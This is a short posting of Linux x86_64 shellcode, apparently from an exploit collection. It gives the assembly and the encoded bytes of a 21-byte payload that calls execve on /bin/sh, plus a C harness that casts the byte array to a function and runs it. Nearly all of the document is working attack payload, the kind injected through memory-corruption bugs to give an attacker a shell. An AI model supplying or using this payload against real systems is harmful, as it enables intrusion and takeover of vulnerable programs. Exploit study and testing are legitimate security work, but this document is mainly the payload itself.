Linux execve(/bin/sh) Shellcode

/*
; Title   : execve(/bin/sh) - Shellcode
; Author  : Hashim Jawad @ihack4falafel
; OS      : Linux kali 4.15.0-kali2-amd64 #1 SMP Debian 4.15.11-1kali1 (2018-03-21) x86_64 GNU/Linux
; Arch    : x86_64
; Size    : 21 bytes

section .text

global _start

_start:
   push rax
  cdq
  push rdx
  pop rsi
  mov rbx,'/bin//sh'
  push rbx
  push rsp
  pop rdi
  mov al, 59
  syscall
*/

#include<stdio.h>
#include<string.h>


unsigned char code[] = \
"\x50\x99\x52\x5e\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05";

main()
{

printf("Shellcode Length:  %d\n", (int)strlen(code));

int (*ret)() = (int(*)())code;

ret();

}